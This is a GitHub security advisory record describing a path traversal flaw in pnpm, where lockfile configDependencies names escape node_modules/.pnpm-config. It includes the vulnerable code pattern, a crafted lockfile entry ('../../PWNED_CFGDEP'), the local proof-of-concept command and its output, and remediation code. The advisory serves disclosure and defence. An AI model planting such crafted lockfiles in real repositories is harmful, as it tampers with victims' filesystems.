{"id":"GHSA-qrv3-253h-g69c","summary":"pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config","details":"## Summary\n\n`pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`.\n\nA malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name.\n\nIn local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory:\n\n```text\nexpected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\nactual path:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis works with `--ignore-scripts`, so it does not rely on lifecycle script execution.\n\n## Vulnerable behavior\n\nThe vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.\n\nThe relevant pattern is:\n\n```ts\nconst configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')\n\nfor (const [pkgName, pkg] of Object.entries(normalizedDeps)) {\n  const configDepPath = path.join(configModulesDir, pkgName)\n\n  const pkgDirInGlobalVirtualStore = path.join(\n    globalVirtualStoreDir,\n    relPath,\n    'node_modules',\n    pkgName\n  )\n\n  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)\n}\n```\n\nIf `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`.\n\n## Impact\n\nA malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install.\n\nThis gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.\n\nThe issue is especially relevant because:\n\n* The malicious input is committed in `pnpm-lock.yaml`.\n* The issue is triggered during `pnpm install`.\n* It works with `--ignore-scripts`.\n* It occurs in the config dependency installation path, before ordinary dependency installation.\n* The user only needs to install a malicious or compromised repository.\n\n## Local proof of concept\n\nThe following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`.\n\nCommand used:\n\n```bash\npython3 ../pnpm_configdeps_path_traversal_poc.py \\\n  --pnpm-cmd \"node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs\" \\\n  --keep 2\u003e&1 | tee /tmp/pnpm-configdeps-poc.log\n```\n\nObserved output:\n\n```text\n[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim\n[+] Local registry:     http://127.0.0.1:36545/\n[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store\n[+] Malicious name:     '../../PWNED_CFGDEP'\n[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml\n[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/\n```\n\npnpm output:\n\n```text\nInstalling config dependencies...\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\nAlready up to date\n\nDone in 906ms using pnpm v11.5.1\n```\n\nThe PoC then detected the escaped symlink:\n\n```text\n[+] Traversal sink status: symlink -\u003e ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n\n[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config\n            sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n            readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n```\n\n## Malicious lockfile structure\n\nThe malicious input is an env-lockfile `configDependencies` key containing traversal components:\n\n```yaml\nimporters:\n  .:\n    configDependencies:\n      legit-config-dep:\n        specifier: '1.0.0'\n        version: '1.0.0'\n      '../../PWNED_CFGDEP':\n        specifier: '1.0.0'\n        version: '1.0.0'\n```\n\npnpm accepts the traversal-shaped name and reports it as installed:\n\n```text\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\n```\n\n## Security boundary violation\n\nThe intended config dependency root was:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n```\n\nBut pnpm created:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.\n\n## Suggested remediation\n\nValidate every `configDependencies` key loaded from the env lockfile before using it as a package name or path component.\n\nRecommended fixes:\n\n1. Reject env-lockfile `configDependencies` names that are not valid npm package names.\n2. Reject names containing absolute paths, `.` components, `..` components, backslashes, or platform-specific path separators.\n3. Use containment-checked path joining before creating symlinks:\n\n   * resolve the final destination path,\n   * verify it remains inside `node_modules/.pnpm-config`,\n   * reject if it escapes.\n4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.\n5. Intersect env-lockfile `configDependencies` with the effective `pnpm-workspace.yaml` `configDependencies` before installing, so extra lockfile-only entries are rejected.\n\nA safe destination check should enforce behavior equivalent to:\n\n```ts\nconst dest = path.resolve(configModulesDir, pkgName)\n\nif (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {\n  throw new Error(`Invalid config dependency name: ${pkgName}`)\n}\n```\n\nName validation should happen before this check, not instead of it.","aliases":["CVE-2026-59195"],"modified":"2026-07-08T08:26:43.572048973Z","published":"2026-06-27T00:13:18Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-06-27T00:13:18Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-qrv3-253h-g69c"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"}],"affected":[{"package":{"name":"pnpm","ecosystem":"npm","purl":"pkg:npm/pnpm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.34.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-qrv3-253h-g69c/GHSA-qrv3-253h-g69c.json"}},{"package":{"name":"pnpm","ecosystem":"npm","purl":"pkg:npm/pnpm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"11.0.0"},{"fixed":"11.8.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-qrv3-253h-g69c/GHSA-qrv3-253h-g69c.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L"}]}